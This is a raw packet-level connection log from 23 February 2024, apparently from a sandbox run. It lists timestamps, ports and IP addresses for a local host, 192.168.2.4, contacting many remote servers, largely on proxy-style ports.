Feb 23, 2024 09:45:15.583731890 CET	49993	5678	192.168.2.4	125.26.22.7
Feb 23, 2024 09:45:15.584252119 CET	49994	14313	192.168.2.4	67.43.228.253
Feb 23, 2024 09:45:15.584252119 CET	49765	18681	192.168.2.4	67.43.228.250
Feb 23, 2024 09:45:15.585366964 CET	49995	54330	192.168.2.4	206.189.15.100
Feb 23, 2024 09:45:15.587587118 CET	49996	8082	192.168.2.4	150.107.136.110
Feb 23, 2024 09:45:15.588057995 CET	49997	53177	192.168.2.4	104.248.151.220
Feb 23, 2024 09:45:15.588057995 CET	49998	8080	192.168.2.4	83.126.54.155
Feb 23, 2024 09:45:15.589123964 CET	49999	31979	192.168.2.4	51.77.73.78
Feb 23, 2024 09:45:15.590626955 CET	80	49963	104.19.233.117	192.168.2.4
Feb 23, 2024 09:45:15.590678930 CET	50000	3128	192.168.2.4	37.120.222.132
Feb 23, 2024 09:45:15.590758085 CET	49963	80	192.168.2.4	104.19.233.117
Feb 23, 2024 09:45:15.590816975 CET	50001	31289	192.168.2.4	129.146.45.163
Feb 23, 2024 09:45:15.590970993 CET	49963	80	192.168.2.4	104.19.233.117
Feb 23, 2024 09:45:15.591837883 CET	50002	80	192.168.2.4	139.5.64.108
Feb 23, 2024 09:45:15.591964960 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:15.591980934 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:15.591996908 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:15.592067957 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:15.592083931 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:15.592087030 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:15.592101097 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:15.592116117 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:15.592122078 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:15.592133045 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:15.592133999 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:15.592150927 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:15.592169046 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:15.592762947 CET	33427	49912	91.135.80.66	192.168.2.4
Feb 23, 2024 09:45:15.593869925 CET	4145	49935	199.102.107.145	192.168.2.4
Feb 23, 2024 09:45:15.593894958 CET	1080	49744	221.231.13.198	192.168.2.4
Feb 23, 2024 09:45:15.593938112 CET	50003	80	192.168.2.4	68.178.161.107
Feb 23, 2024 09:45:15.594077110 CET	1080	49744	221.231.13.198	192.168.2.4
Feb 23, 2024 09:45:15.594091892 CET	1080	49744	221.231.13.198	192.168.2.4
Feb 23, 2024 09:45:15.594351053 CET	49744	1080	192.168.2.4	221.231.13.198
Feb 23, 2024 09:45:15.595843077 CET	80	49845	103.152.116.82	192.168.2.4
Feb 23, 2024 09:45:15.596009016 CET	49845	80	192.168.2.4	103.152.116.82
Feb 23, 2024 09:45:15.596040010 CET	49744	1080	192.168.2.4	221.231.13.198
Feb 23, 2024 09:45:15.596285105 CET	49845	80	192.168.2.4	103.152.116.82
Feb 23, 2024 09:45:15.596287012 CET	50004	3128	192.168.2.4	154.202.108.37
Feb 23, 2024 09:45:15.597603083 CET	10471	49833	167.172.86.46	192.168.2.4
Feb 23, 2024 09:45:15.597640038 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:15.597762108 CET	49833	10471	192.168.2.4	167.172.86.46
Feb 23, 2024 09:45:15.598009109 CET	49833	10471	192.168.2.4	167.172.86.46
Feb 23, 2024 09:45:15.598011017 CET	50005	5678	192.168.2.4	85.89.184.87
Feb 23, 2024 09:45:15.598778963 CET	50006	5678	192.168.2.4	130.193.123.34
Feb 23, 2024 09:45:15.599152088 CET	8080	49756	102.212.86.57	192.168.2.4
Feb 23, 2024 09:45:15.599788904 CET	50007	3820	192.168.2.4	198.12.253.1
Feb 23, 2024 09:45:15.601295948 CET	80	49943	202.5.16.44	192.168.2.4
Feb 23, 2024 09:45:15.601350069 CET	50008	80	192.168.2.4	104.18.81.76
Feb 23, 2024 09:45:15.601512909 CET	49943	80	192.168.2.4	202.5.16.44
Feb 23, 2024 09:45:15.602524996 CET	50009	4145	192.168.2.4	142.54.236.97
Feb 23, 2024 09:45:15.602528095 CET	49943	80	192.168.2.4	202.5.16.44
Feb 23, 2024 09:45:15.603259087 CET	8080	49756	102.212.86.57	192.168.2.4
Feb 23, 2024 09:45:15.603275061 CET	8080	49756	102.212.86.57	192.168.2.4
Feb 23, 2024 09:45:15.603396893 CET	49756	8080	192.168.2.4	102.212.86.57
Feb 23, 2024 09:45:15.604089022 CET	4145	49945	199.102.105.242	192.168.2.4
Feb 23, 2024 09:45:15.604119062 CET	50010	8080	192.168.2.4	212.174.79.165
Feb 23, 2024 09:45:15.604119062 CET	49756	8080	192.168.2.4	102.212.86.57
Feb 23, 2024 09:45:15.604742050 CET	50011	999	192.168.2.4	190.109.178.44
Feb 23, 2024 09:45:15.605722904 CET	80	49866	104.20.225.218	192.168.2.4
Feb 23, 2024 09:45:15.606302977 CET	50012	65100	192.168.2.4	125.229.149.168
Feb 23, 2024 09:45:15.607040882 CET	50013	4145	192.168.2.4	168.205.217.171
Feb 23, 2024 09:45:15.607465029 CET	10417	49790	165.225.32.114	192.168.2.4
Feb 23, 2024 09:45:15.607482910 CET	10417	49790	165.225.32.114	192.168.2.4
Feb 23, 2024 09:45:15.607500076 CET	10417	49790	165.225.32.114	192.168.2.4
Feb 23, 2024 09:45:15.607525110 CET	10417	49790	165.225.32.114	192.168.2.4
Feb 23, 2024 09:45:15.607542992 CET	10417	49790	165.225.32.114	192.168.2.4
Feb 23, 2024 09:45:15.607556105 CET	49790	10417	192.168.2.4	165.225.32.114
Feb 23, 2024 09:45:15.607599020 CET	49790	10417	192.168.2.4	165.225.32.114
Feb 23, 2024 09:45:15.607599974 CET	49790	10417	192.168.2.4	165.225.32.114
Feb 23, 2024 09:45:15.612941027 CET	50014	1080	192.168.2.4	180.210.222.153
Feb 23, 2024 09:45:15.614038944 CET	80	49872	172.67.38.96	192.168.2.4
Feb 23, 2024 09:45:15.614991903 CET	80	49874	203.32.120.202	192.168.2.4
Feb 23, 2024 09:45:15.615113020 CET	50015	8080	192.168.2.4	103.148.201.67
Feb 23, 2024 09:45:15.615125895 CET	50016	999	192.168.2.4	201.71.2.115
Feb 23, 2024 09:45:15.616462946 CET	50017	3128	192.168.2.4	34.145.53.40
Feb 23, 2024 09:45:15.616524935 CET	80	49869	104.25.87.42	192.168.2.4
Feb 23, 2024 09:45:15.616590023 CET	80	49868	104.19.235.10	192.168.2.4
Feb 23, 2024 09:45:15.618273020 CET	50019	59329	192.168.2.4	187.188.169.169
Feb 23, 2024 09:45:15.618345022 CET	50018	9090	192.168.2.4	209.250.230.101
Feb 23, 2024 09:45:15.619187117 CET	50020	48024	192.168.2.4	181.113.34.86
Feb 23, 2024 09:45:15.620079994 CET	50021	8789	192.168.2.4	103.84.235.162
Feb 23, 2024 09:45:15.620992899 CET	50022	52246	192.168.2.4	45.7.177.85
Feb 23, 2024 09:45:15.622812986 CET	3601	49788	141.94.174.6	192.168.2.4
Feb 23, 2024 09:45:15.622858047 CET	50023	8080	192.168.2.4	78.47.103.89
Feb 23, 2024 09:45:15.623395920 CET	50024	8083	192.168.2.4	185.132.242.212
Feb 23, 2024 09:45:15.624305010 CET	50025	10820	192.168.2.4	88.255.217.44
Feb 23, 2024 09:45:15.626130104 CET	6764	49848	198.105.111.86	192.168.2.4
Feb 23, 2024 09:45:15.626173973 CET	50026	80	192.168.2.4	50.172.75.124
Feb 23, 2024 09:45:15.626322031 CET	50027	8089	192.168.2.4	200.63.107.118
Feb 23, 2024 09:45:15.626868963 CET	50028	34471	192.168.2.4	194.233.78.142
Feb 23, 2024 09:45:15.628643036 CET	50029	8000	192.168.2.4	221.151.181.101
Feb 23, 2024 09:45:15.628644943 CET	50030	59058	192.168.2.4	213.136.75.85
Feb 23, 2024 09:45:15.629426956 CET	50031	50733	192.168.2.4	186.249.240.146
Feb 23, 2024 09:45:15.631457090 CET	50032	7302	192.168.2.4	221.134.152.75
Feb 23, 2024 09:45:15.631457090 CET	50033	53281	192.168.2.4	193.41.88.58
Feb 23, 2024 09:45:15.632899046 CET	50034	80	192.168.2.4	211.128.96.206
Feb 23, 2024 09:45:15.633466959 CET	50035	1976	192.168.2.4	41.65.55.2
Feb 23, 2024 09:45:15.636420965 CET	50036	1975	192.168.2.4	41.33.203.233
Feb 23, 2024 09:45:15.636964083 CET	50037	8080	192.168.2.4	96.80.235.1
Feb 23, 2024 09:45:15.638340950 CET	50038	55443	192.168.2.4	77.233.5.68
Feb 23, 2024 09:45:15.638369083 CET	50039	8080	192.168.2.4	195.206.39.222
Feb 23, 2024 09:45:15.639323950 CET	50040	9000	192.168.2.4	122.116.150.2
Feb 23, 2024 09:45:15.641292095 CET	50042	8080	192.168.2.4	139.5.73.71
Feb 23, 2024 09:45:15.641299009 CET	50041	48678	192.168.2.4	180.131.242.221
Feb 23, 2024 09:45:15.642189026 CET	50043	3128	192.168.2.4	185.105.230.45
Feb 23, 2024 09:45:15.644128084 CET	50045	80	192.168.2.4	202.61.204.51
Feb 23, 2024 09:45:15.644155025 CET	50044	3128	192.168.2.4	39.109.113.97
Feb 23, 2024 09:45:15.645375013 CET	50046	6441	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:15.646203041 CET	50047	8088	192.168.2.4	47.243.177.210
Feb 23, 2024 09:45:15.647479057 CET	50048	8080	192.168.2.4	77.235.19.2
Feb 23, 2024 09:45:15.647489071 CET	50049	36273	192.168.2.4	171.244.140.160
Feb 23, 2024 09:45:15.649235964 CET	50050	80	192.168.2.4	104.19.171.188
Feb 23, 2024 09:45:15.650098085 CET	50051	5678	192.168.2.4	41.70.12.54
Feb 23, 2024 09:45:15.650944948 CET	50052	8635	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:15.652726889 CET	8080	49861	102.132.54.151	192.168.2.4
Feb 23, 2024 09:45:15.652754068 CET	50053	61080	192.168.2.4	176.88.177.197
Feb 23, 2024 09:45:15.652879953 CET	49861	8080	192.168.2.4	102.132.54.151
Feb 23, 2024 09:45:15.652966022 CET	12519	49884	132.148.128.8	192.168.2.4
Feb 23, 2024 09:45:15.653472900 CET	1611	49982	72.10.160.170	192.168.2.4
Feb 23, 2024 09:45:15.653503895 CET	49861	8080	192.168.2.4	102.132.54.151
Feb 23, 2024 09:45:15.653908968 CET	50054	8080	192.168.2.4	196.219.202.74
Feb 23, 2024 09:45:15.654465914 CET	50055	27645	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:15.655920029 CET	50056	8080	192.168.2.4	5.78.89.192
Feb 23, 2024 09:45:15.656814098 CET	50057	4145	192.168.2.4	107.181.168.145
Feb 23, 2024 09:45:15.657882929 CET	50058	8080	192.168.2.4	27.111.83.207
Feb 23, 2024 09:45:15.658943892 CET	50059	16703	192.168.2.4	72.10.160.93
Feb 23, 2024 09:45:15.660221100 CET	50060	64817	192.168.2.4	94.23.83.53
Feb 23, 2024 09:45:15.661750078 CET	50061	80	192.168.2.4	50.172.75.120
Feb 23, 2024 09:45:15.662388086 CET	49736	1082	192.168.2.4	181.209.113.234
Feb 23, 2024 09:45:15.662755013 CET	50062	50539	192.168.2.4	92.205.185.251
Feb 23, 2024 09:45:15.663394928 CET	50063	8080	192.168.2.4	203.112.79.90
Feb 23, 2024 09:45:15.663724899 CET	50064	80	192.168.2.4	104.21.31.189
Feb 23, 2024 09:45:15.665316105 CET	50066	1234	192.168.2.4	93.230.164.47
Feb 23, 2024 09:45:15.665328026 CET	50065	80	192.168.2.4	146.59.14.159
Feb 23, 2024 09:45:15.666074991 CET	50067	3128	192.168.2.4	154.202.96.103
Feb 23, 2024 09:45:15.666865110 CET	50068	29430	192.168.2.4	162.214.102.121
Feb 23, 2024 09:45:15.667627096 CET	50069	25053	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:15.668350935 CET	50070	28119	192.168.2.4	152.228.140.225
Feb 23, 2024 09:45:15.668593884 CET	32770	49847	94.130.181.59	192.168.2.4
Feb 23, 2024 09:45:15.668827057 CET	1080	49959	168.138.66.48	192.168.2.4
Feb 23, 2024 09:45:15.668858051 CET	1080	49959	168.138.66.48	192.168.2.4
Feb 23, 2024 09:45:15.668958902 CET	1080	49959	168.138.66.48	192.168.2.4
Feb 23, 2024 09:45:15.669059992 CET	49959	1080	192.168.2.4	168.138.66.48
Feb 23, 2024 09:45:15.669289112 CET	50071	25341	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:15.671716928 CET	50072	35010	192.168.2.4	185.215.160.118
Feb 23, 2024 09:45:15.671726942 CET	50073	8080	192.168.2.4	102.176.103.134
Feb 23, 2024 09:45:15.672552109 CET	50074	25508	192.168.2.4	107.180.89.55
Feb 23, 2024 09:45:15.672650099 CET	80	49749	96.113.159.162	192.168.2.4
Feb 23, 2024 09:45:15.674011946 CET	50075	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:15.679104090 CET	80	49963	104.19.233.117	192.168.2.4
Feb 23, 2024 09:45:15.679140091 CET	49778	8000	192.168.2.4	137.184.15.145
Feb 23, 2024 09:45:15.679143906 CET	80	49963	104.19.233.117	192.168.2.4
Feb 23, 2024 09:45:15.679209948 CET	4145	49966	74.119.147.209	192.168.2.4
Feb 23, 2024 09:45:15.679399014 CET	18681	49765	67.43.228.250	192.168.2.4
Feb 23, 2024 09:45:15.679619074 CET	14313	49994	67.43.228.253	192.168.2.4
Feb 23, 2024 09:45:15.680145025 CET	49966	4145	192.168.2.4	74.119.147.209
Feb 23, 2024 09:45:15.680191040 CET	80	49963	104.19.233.117	192.168.2.4
Feb 23, 2024 09:45:15.680968046 CET	49966	4145	192.168.2.4	74.119.147.209
Feb 23, 2024 09:45:15.680984020 CET	49963	80	192.168.2.4	104.19.233.117
Feb 23, 2024 09:45:15.681052923 CET	49963	80	192.168.2.4	104.19.233.117
Feb 23, 2024 09:45:15.681343079 CET	8080	49774	91.205.197.226	192.168.2.4
Feb 23, 2024 09:45:15.682717085 CET	50076	5678	192.168.2.4	109.127.82.114
Feb 23, 2024 09:45:15.683639050 CET	50078	5005	192.168.2.4	173.249.37.45
Feb 23, 2024 09:45:15.683669090 CET	50077	9002	192.168.2.4	120.234.203.171
Feb 23, 2024 09:45:15.684803009 CET	50079	9990	192.168.2.4	103.234.26.163
Feb 23, 2024 09:45:15.685532093 CET	50080	8080	192.168.2.4	200.108.197.2
Feb 23, 2024 09:45:15.686306000 CET	50081	80	192.168.2.4	103.44.239.244
Feb 23, 2024 09:45:15.688211918 CET	50082	1976	192.168.2.4	154.236.179.226
Feb 23, 2024 09:45:15.688435078 CET	50083	49426	192.168.2.4	188.164.196.30
Feb 23, 2024 09:45:15.688713074 CET	80	50008	104.18.81.76	192.168.2.4
Feb 23, 2024 09:45:15.688935041 CET	50008	80	192.168.2.4	104.18.81.76
Feb 23, 2024 09:45:15.689954996 CET	50008	80	192.168.2.4	104.18.81.76
Feb 23, 2024 09:45:15.689954996 CET	50084	3128	192.168.2.4	154.202.98.133
Feb 23, 2024 09:45:15.692230940 CET	50086	80	192.168.2.4	172.64.80.55
Feb 23, 2024 09:45:15.692403078 CET	8899	49817	117.160.250.134	192.168.2.4
Feb 23, 2024 09:45:15.693025112 CET	49817	8899	192.168.2.4	117.160.250.134
Feb 23, 2024 09:45:15.693026066 CET	49817	8899	192.168.2.4	117.160.250.134
Feb 23, 2024 09:45:15.693062067 CET	50085	80	192.168.2.4	172.67.181.89
Feb 23, 2024 09:45:15.693371058 CET	50087	5089	192.168.2.4	67.43.236.18
Feb 23, 2024 09:45:15.693614006 CET	49743	80	192.168.2.4	68.185.57.66
Feb 23, 2024 09:45:15.694163084 CET	50088	3128	192.168.2.4	154.202.108.169
Feb 23, 2024 09:45:15.696029902 CET	50089	999	192.168.2.4	45.225.207.183
Feb 23, 2024 09:45:15.696387053 CET	50090	8089	192.168.2.4	125.87.89.228
Feb 23, 2024 09:45:15.697050095 CET	50091	41878	192.168.2.4	213.226.11.149
Feb 23, 2024 09:45:15.699373007 CET	50092	36946	192.168.2.4	207.180.234.220
Feb 23, 2024 09:45:15.699383974 CET	50093	13722	192.168.2.4	79.137.204.235
Feb 23, 2024 09:45:15.700108051 CET	6764	49848	198.105.111.86	192.168.2.4
Feb 23, 2024 09:45:15.700200081 CET	6764	49848	198.105.111.86	192.168.2.4
Feb 23, 2024 09:45:15.700226068 CET	50094	4153	192.168.2.4	45.181.88.146
Feb 23, 2024 09:45:15.700804949 CET	49848	6764	192.168.2.4	198.105.111.86
Feb 23, 2024 09:45:15.701034069 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:15.701517105 CET	49848	6764	192.168.2.4	198.105.111.86
Feb 23, 2024 09:45:15.703548908 CET	50096	80	192.168.2.4	46.101.19.131
Feb 23, 2024 09:45:15.703778982 CET	50097	80	192.168.2.4	203.243.63.16
Feb 23, 2024 09:45:15.704010963 CET	50098	80	192.168.2.4	190.58.248.86
Feb 23, 2024 09:45:15.704041958 CET	60186	49983	166.62.53.45	192.168.2.4
Feb 23, 2024 09:45:15.705506086 CET	49983	60186	192.168.2.4	166.62.53.45
Feb 23, 2024 09:45:15.707407951 CET	50099	38242	192.168.2.4	162.144.36.208
Feb 23, 2024 09:45:15.707447052 CET	49983	60186	192.168.2.4	166.62.53.45
Feb 23, 2024 09:45:15.708494902 CET	8080	49895	171.97.12.175	192.168.2.4
Feb 23, 2024 09:45:15.708534002 CET	50100	5678	192.168.2.4	190.232.89.125
Feb 23, 2024 09:45:15.708990097 CET	50101	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:15.710510015 CET	50102	3547	192.168.2.4	45.117.179.179
Feb 23, 2024 09:45:15.711376905 CET	50103	3128	192.168.2.4	154.202.112.186
Feb 23, 2024 09:45:15.712048054 CET	80	49735	50.172.227.202	192.168.2.4
Feb 23, 2024 09:45:15.712095022 CET	50104	8080	192.168.2.4	138.0.228.185
Feb 23, 2024 09:45:15.713192940 CET	50105	3128	192.168.2.4	178.33.252.189
Feb 23, 2024 09:45:15.715166092 CET	57520	49958	41.242.90.3	192.168.2.4
Feb 23, 2024 09:45:15.715272903 CET	50107	60103	192.168.2.4	95.165.163.188
Feb 23, 2024 09:45:15.715295076 CET	50106	64731	192.168.2.4	162.0.220.222
Feb 23, 2024 09:45:15.716584921 CET	50108	80	192.168.2.4	104.16.105.207
Feb 23, 2024 09:45:15.717631102 CET	50109	82	192.168.2.4	43.255.113.232
Feb 23, 2024 09:45:15.717907906 CET	50110	29129	192.168.2.4	72.10.160.90
Feb 23, 2024 09:45:15.719275951 CET	50111	11945	192.168.2.4	92.246.139.112
Feb 23, 2024 09:45:15.719638109 CET	50112	8080	192.168.2.4	186.192.195.211
Feb 23, 2024 09:45:15.722315073 CET	50113	80	192.168.2.4	50.204.219.224
Feb 23, 2024 09:45:15.722316980 CET	50114	80	192.168.2.4	58.182.138.139
Feb 23, 2024 09:45:15.722656012 CET	50115	3128	192.168.2.4	37.53.103.4
Feb 23, 2024 09:45:15.723073006 CET	49922	49740	159.223.71.71	192.168.2.4
Feb 23, 2024 09:45:15.723820925 CET	50116	8080	192.168.2.4	112.205.92.14
Feb 23, 2024 09:45:15.725256920 CET	50117	39180	192.168.2.4	173.212.240.168
Feb 23, 2024 09:45:15.726121902 CET	50118	80	192.168.2.4	123.110.158.236
Feb 23, 2024 09:45:15.728106022 CET	50120	51350	192.168.2.4	166.62.53.45
Feb 23, 2024 09:45:15.728106976 CET	50119	64305	192.168.2.4	94.23.83.53
Feb 23, 2024 09:45:15.729120970 CET	50121	999	192.168.2.4	45.229.34.174
Feb 23, 2024 09:45:15.730762005 CET	50122	80	192.168.2.4	104.25.230.252
Feb 23, 2024 09:45:15.731192112 CET	50123	64693	192.168.2.4	208.87.131.151
Feb 23, 2024 09:45:15.731822968 CET	50124	9229	192.168.2.4	201.238.248.139
Feb 23, 2024 09:45:15.733086109 CET	50125	22093	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:15.733187914 CET	42325	49919	139.99.9.218	192.168.2.4
Feb 23, 2024 09:45:15.733515978 CET	50126	33829	192.168.2.4	103.162.31.91
Feb 23, 2024 09:45:15.735322952 CET	50127	20627	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:15.735465050 CET	8080	49885	185.38.111.1	192.168.2.4
Feb 23, 2024 09:45:15.735615969 CET	8080	49885	185.38.111.1	192.168.2.4
Feb 23, 2024 09:45:15.736073971 CET	80	50050	104.19.171.188	192.168.2.4
Feb 23, 2024 09:45:15.736104012 CET	49885	8080	192.168.2.4	185.38.111.1
Feb 23, 2024 09:45:15.736396074 CET	50128	8081	192.168.2.4	83.238.80.17
Feb 23, 2024 09:45:15.736568928 CET	50050	80	192.168.2.4	104.19.171.188
Feb 23, 2024 09:45:15.737467051 CET	50050	80	192.168.2.4	104.19.171.188
Feb 23, 2024 09:45:15.737473011 CET	50129	51935	192.168.2.4	159.223.71.71
Feb 23, 2024 09:45:15.737927914 CET	50130	8090	192.168.2.4	122.3.41.154
Feb 23, 2024 09:45:15.738941908 CET	50131	62842	192.168.2.4	146.190.84.209
Feb 23, 2024 09:45:15.739382982 CET	50132	80	192.168.2.4	115.244.127.161
Feb 23, 2024 09:45:15.740263939 CET	6441	50046	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:15.740631104 CET	5678	49760	103.134.38.89	192.168.2.4
Feb 23, 2024 09:45:15.740659952 CET	49739	58394	192.168.2.4	107.148.99.107
Feb 23, 2024 09:45:15.740963936 CET	5678	49760	103.134.38.89	192.168.2.4
Feb 23, 2024 09:45:15.740993023 CET	50133	80	192.168.2.4	223.27.144.51
Feb 23, 2024 09:45:15.741271973 CET	50134	3128	192.168.2.4	3.122.84.99
Feb 23, 2024 09:45:15.742628098 CET	3820	50007	198.12.253.1	192.168.2.4
Feb 23, 2024 09:45:15.742831945 CET	50007	3820	192.168.2.4	198.12.253.1
Feb 23, 2024 09:45:15.743169069 CET	50135	5678	192.168.2.4	103.134.38.89
Feb 23, 2024 09:45:15.743562937 CET	50136	4145	192.168.2.4	72.210.208.101
Feb 23, 2024 09:45:15.743822098 CET	50007	3820	192.168.2.4	198.12.253.1
Feb 23, 2024 09:45:15.743958950 CET	50137	80	192.168.2.4	50.168.163.178
Feb 23, 2024 09:45:15.746047974 CET	8635	50052	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:15.746150970 CET	50138	8080	192.168.2.4	45.250.215.8
Feb 23, 2024 09:45:15.746418953 CET	50139	27917	192.168.2.4	67.43.227.228
Feb 23, 2024 09:45:15.747489929 CET	50140	63128	192.168.2.4	203.110.145.82
Feb 23, 2024 09:45:15.748383045 CET	50141	8080	192.168.2.4	190.19.114.104
Feb 23, 2024 09:45:15.749449968 CET	27645	50055	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:15.750346899 CET	54330	49995	206.189.15.100	192.168.2.4
Feb 23, 2024 09:45:15.751367092 CET	80	50064	104.21.31.189	192.168.2.4
Feb 23, 2024 09:45:15.751454115 CET	50064	80	192.168.2.4	104.21.31.189
Feb 23, 2024 09:45:15.753288031 CET	54450	49911	171.226.88.162	192.168.2.4
Feb 23, 2024 09:45:15.754472971 CET	16703	50059	72.10.160.93	192.168.2.4
Feb 23, 2024 09:45:15.756010056 CET	31979	49999	51.77.73.78	192.168.2.4
Feb 23, 2024 09:45:15.756165028 CET	49813	11673	192.168.2.4	50.63.13.3
Feb 23, 2024 09:45:15.756170988 CET	49805	3021	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:15.756191969 CET	49801	12129	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:15.758063078 CET	3128	50000	37.120.222.132	192.168.2.4
Feb 23, 2024 09:45:15.759406090 CET	50064	80	192.168.2.4	104.21.31.189
Feb 23, 2024 09:45:15.761557102 CET	80	49943	202.5.16.44	192.168.2.4
Feb 23, 2024 09:45:15.761598110 CET	50143	80	192.168.2.4	43.231.22.229
Feb 23, 2024 09:45:15.761605024 CET	50142	8000	192.168.2.4	137.184.22.92
Feb 23, 2024 09:45:15.761876106 CET	80	49943	202.5.16.44	192.168.2.4
Feb 23, 2024 09:45:15.761903048 CET	80	49943	202.5.16.44	192.168.2.4
Feb 23, 2024 09:45:15.762012005 CET	49943	80	192.168.2.4	202.5.16.44
Feb 23, 2024 09:45:15.762630939 CET	25053	50069	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:15.762676001 CET	49943	80	192.168.2.4	202.5.16.44
Feb 23, 2024 09:45:15.762794971 CET	50144	8088	192.168.2.4	103.143.9.85
Feb 23, 2024 09:45:15.763853073 CET	1080	49959	168.138.66.48	192.168.2.4
Feb 23, 2024 09:45:15.764244080 CET	25341	50071	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:15.765088081 CET	50145	40350	192.168.2.4	148.72.41.47
Feb 23, 2024 09:45:15.765352011 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:15.765892982 CET	50146	999	192.168.2.4	167.249.29.22
Feb 23, 2024 09:45:15.766663074 CET	50147	8080	192.168.2.4	103.4.94.2
Feb 23, 2024 09:45:15.768937111 CET	80	49963	104.19.233.117	192.168.2.4
Feb 23, 2024 09:45:15.769665956 CET	50149	5678	192.168.2.4	212.39.114.139
Feb 23, 2024 09:45:15.769706011 CET	50148	8080	192.168.2.4	103.221.55.101
Feb 23, 2024 09:45:15.771768093 CET	4145	50009	142.54.236.97	192.168.2.4
Feb 23, 2024 09:45:15.771851063 CET	50150	666	192.168.2.4	201.20.80.113
Feb 23, 2024 09:45:15.771912098 CET	50009	4145	192.168.2.4	142.54.236.97
Feb 23, 2024 09:45:15.772496939 CET	50151	3128	192.168.2.4	154.202.127.106
Feb 23, 2024 09:45:15.772588015 CET	50009	4145	192.168.2.4	142.54.236.97
Feb 23, 2024 09:45:15.773637056 CET	50152	80	192.168.2.4	152.230.215.123
Feb 23, 2024 09:45:15.774342060 CET	3128	49815	13.234.24.116	192.168.2.4
Feb 23, 2024 09:45:15.777658939 CET	50153	8080	192.168.2.4	190.57.245.250
Feb 23, 2024 09:45:15.778203011 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:15.778377056 CET	50154	80	192.168.2.4	14.43.238.82
Feb 23, 2024 09:45:15.779671907 CET	50155	16379	192.168.2.4	51.15.241.5
Feb 23, 2024 09:45:15.780858994 CET	50156	80	192.168.2.4	193.231.40.182
Feb 23, 2024 09:45:15.781436920 CET	50157	49382	192.168.2.4	173.249.33.122
Feb 23, 2024 09:45:15.782609940 CET	50158	8080	192.168.2.4	181.129.43.3
Feb 23, 2024 09:45:15.784102917 CET	80	50008	104.18.81.76	192.168.2.4
Feb 23, 2024 09:45:15.784142017 CET	80	50008	104.18.81.76	192.168.2.4
Feb 23, 2024 09:45:15.784146070 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:15.784179926 CET	80	50008	104.18.81.76	192.168.2.4
Feb 23, 2024 09:45:15.784234047 CET	50159	8888	192.168.2.4	217.219.74.130
Feb 23, 2024 09:45:15.785542965 CET	50161	12707	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:15.785679102 CET	50008	80	192.168.2.4	104.18.81.76
Feb 23, 2024 09:45:15.785994053 CET	80	50026	50.172.75.124	192.168.2.4
Feb 23, 2024 09:45:15.786036968 CET	50008	80	192.168.2.4	104.18.81.76
Feb 23, 2024 09:45:15.786509037 CET	50162	3128	192.168.2.4	103.132.52.210
Feb 23, 2024 09:45:15.787372112 CET	49751	4145	192.168.2.4	222.124.130.198
Feb 23, 2024 09:45:15.793943882 CET	50163	80	192.168.2.4	172.67.182.169
Feb 23, 2024 09:45:15.794094086 CET	50164	3128	192.168.2.4	65.21.255.197
Feb 23, 2024 09:45:15.796868086 CET	50166	18675	192.168.2.4	185.171.24.5
Feb 23, 2024 09:45:15.796874046 CET	50165	4145	192.168.2.4	68.71.247.130
Feb 23, 2024 09:45:15.797811031 CET	50167	14745	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:15.799432993 CET	50169	36841	192.168.2.4	139.59.149.137
Feb 23, 2024 09:45:15.799439907 CET	50168	3128	192.168.2.4	154.202.125.38
Feb 23, 2024 09:45:15.800767899 CET	50170	999	192.168.2.4	179.49.162.133
Feb 23, 2024 09:45:15.801466942 CET	50171	46800	192.168.2.4	75.119.200.56
Feb 23, 2024 09:45:15.802563906 CET	50172	20754	192.168.2.4	208.87.131.151
Feb 23, 2024 09:45:15.802999973 CET	49733	6047	192.168.2.4	107.181.148.187
Feb 23, 2024 09:45:15.803528070 CET	80	50108	104.16.105.207	192.168.2.4
Feb 23, 2024 09:45:15.803564072 CET	50173	31280	192.168.2.4	212.115.232.79
Feb 23, 2024 09:45:15.803751945 CET	50108	80	192.168.2.4	104.16.105.207
Feb 23, 2024 09:45:15.804472923 CET	50108	80	192.168.2.4	104.16.105.207
Feb 23, 2024 09:45:15.804660082 CET	50174	15460	192.168.2.4	145.239.2.102
Feb 23, 2024 09:45:15.805315018 CET	59058	50030	213.136.75.85	192.168.2.4
Feb 23, 2024 09:45:15.805500031 CET	50030	59058	192.168.2.4	213.136.75.85
Feb 23, 2024 09:45:15.806112051 CET	50030	59058	192.168.2.4	213.136.75.85
